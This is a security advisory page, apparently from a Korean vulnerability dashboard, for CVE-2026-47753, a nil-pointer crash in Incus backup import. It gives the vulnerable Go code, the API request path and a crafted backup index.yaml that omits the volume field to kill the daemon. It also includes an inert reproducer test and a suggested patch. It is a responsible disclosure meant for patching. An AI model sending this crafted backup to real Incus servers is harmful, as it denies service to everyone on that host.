Kestrel
대시보드로 돌아가기
CVE-2026-47753MEDIUMGHSA대응게시일: 2026. 06. 10.수정일: 2026. 06. 10.

Incus has a Nil-Pointer Dereference Panic via Instance Backup Import (volume omitted)

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
medium

이론적 심각도 점수

EPSS
0.0%상위 98.7%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

(*backend).CreateInstanceFromBackup in internal/server/storage/backend.go contains a nil-pointer dereference that an authenticated user with permission to create instances in any project can trigger remotely by uploading a crafted backup tarball. The Incus daemon panics and the process crashes, causing denial of service to every project on that cluster member.

This is a sibling of GHSA-fwj8-62r8-8p8m, GHSA-r7w7-mmxr-47r9, and GHSA-x5r6-jr56-89pv (all assigned 2026-05-04). Those patches added guards on adjacent fields of the same backup/config.Config struct; the Volume field on the instance-import path was missed.

Vulnerable code

internal/server/storage/backend.go (current main, commit 1513600):

text
1// Lines 763-767 — properly guarded:
2var volumeConfig map[string]string
3if srcBackup.Config != nil && srcBackup.Config.Volume != nil {
4 volumeConfig = srcBackup.Config.Volume.Config
5}
6
7// ... a few lines later ...
8
9// Line 795 — unguarded, dereferences Config.Volume directly:
10if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {

The caller createFromBackup in cmd/incusd/instances_post.go only verifies that Config and Config.Container are non-nil:

text
1// instances_post.go:854
2if bInfo.Config == nil || bInfo.Config.Container == nil {
3 return response.BadRequest(errors.New("Backup file is missing required information"))
4}

Volume is not checked. The Volume field on internal/server/backup/config.Config has type *api.StorageVolume with yaml:"volume,omitempty", so omitting volume: from a crafted backup/index.yaml decodes to nil. The subsequent unguarded deref on line 795 panics.

The panic happens on the HTTP request goroutine; no recover() is installed by CreateInstanceFromBackup or its callers, so the Go runtime kills the entire incusd process.

Reach

  1. The attacker is any client authenticated to the Incus REST API (TLS client certificate, OIDC, or unix socket) with permission to create instances in at least one project. This is the most common low-trust authenticated user.
  2. The attacker sends POST /1.0/instances?project=<p> with Content-Type: application/octet-stream.
  3. The body is an uncompressed tar (the same code path also accepts squashfs / gz / zstd / xz) containing one file, backup/index.yaml, whose config: block lists container: and pool: but omits volume:.
  4. cmd/incusd/instances_post.go instancesPost -> createFromBackup -> the line 854 guard passes (Container is non-nil) -> pool.CreateInstanceFromBackup(*bInfo, backupFile, nil) -> internal/server/storage/backend.go:795 panics on srcBackup.Config.Volume.Config[...].
  5. incusd process dies. All running operations on that cluster member are killed. Repeated requests = persistent denial of service.

Minimal crafted backup/index.yaml:

bash
1name: poc
2backend: dir
3pool: default
4type: container
5optimized: false
6optimized_header: false
7config:
8 container:
9 name: poc
10 architecture: x86_64
11 type: container
12 pool:
13 name: default
14 driver: dir
15 # volume intentionally absent

Proof of concept

A self-contained Go unit test imports the real internal/server/backup/config package, decodes the crafted YAML into the actual *backupConfig.Config struct used by the daemon, and executes the literal expression from backend.go:795. The test is intentionally inert (panics are recovered and reported as the expected outcome):

text
1// internal/poc_repro/poc_nil_deref_volume_test.go
2func TestPoCNilDerefVolumeImport(t *testing.T) {
3 var bi pocInfo // mirrors internal/server/backup.Info, only Config is needed
4 loader, _ := yaml.NewLoader(strings.NewReader(evilIndex))
5 _ = loader.Load(&bi)
6
7 // bi.Config != nil, bi.Config.Container != nil (passes createFromBackup guard)
8 // bi.Config.Volume == nil (passes the line 765 guard's else branch)
9
10 defer func() { _ = recover() }()
11
12 // Literal copy of backend.go:795.
13 if bi.Config.Volume.Config["block.type"] == "qcow2" {
14 // unreachable
15 }
16}

Result against lxc/incus@1513600 on Go 1.26.1:

text
1=== RUN TestPoCNilDerefVolumeImport
2 poc_nil_deref_volume_test.go:97: yaml decoded: Container != nil (passes createFromBackup guard), Volume == nil
3 poc_nil_deref_volume_test.go:99: backend.go line 795 unguarded deref about to execute...
4 poc_nil_deref_volume_test.go:123: CONFIRMED: nil-pointer panic at the exact line as backend.go:795 => runtime error: invalid memory address or nil pointer dereference
5--- PASS: TestPoCNilDerefVolumeImport (0.00s)

A tarball builder + uploader (main.go) is included in the report's PoC bundle. The tarball is 2560 bytes and contains a single 547-byte backup/index.yaml.

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until the process is restarted by an operator or supervisor.
  • Privileges required: authenticated user with can_create permission on any project. The path is not behind the admin auth tier.
  • Network attack surface: the Incus REST API on :8443 (or unix socket).
  • CWE-476 — nil pointer dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard already present on line 765 a few lines higher into the path that hits line 795. For example:

text
1if srcBackup.Config == nil || srcBackup.Config.Volume == nil {
2 return nil, nil, errors.New("Backup config missing required volume metadata")
3}
4
5if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {

Alternatively, extend the existing createFromBackup precondition in cmd/incusd/instances_post.go:854 to also reject backups missing bInfo.Config.Volume. The latter is the smaller surface change and matches the pattern of CreateBucketFromBackup (backend.go:7848):

text
1if srcBackup.Config == nil || srcBackup.Config.Bucket == nil {
2 return errors.New("Valid bucket config not found in index")
3}

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus. Reporter: tonghuaroot. The reproducer test is non-destructive (no network, no filesystem mutation beyond the temp directory used by Go's test runner) and recovers the panic.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.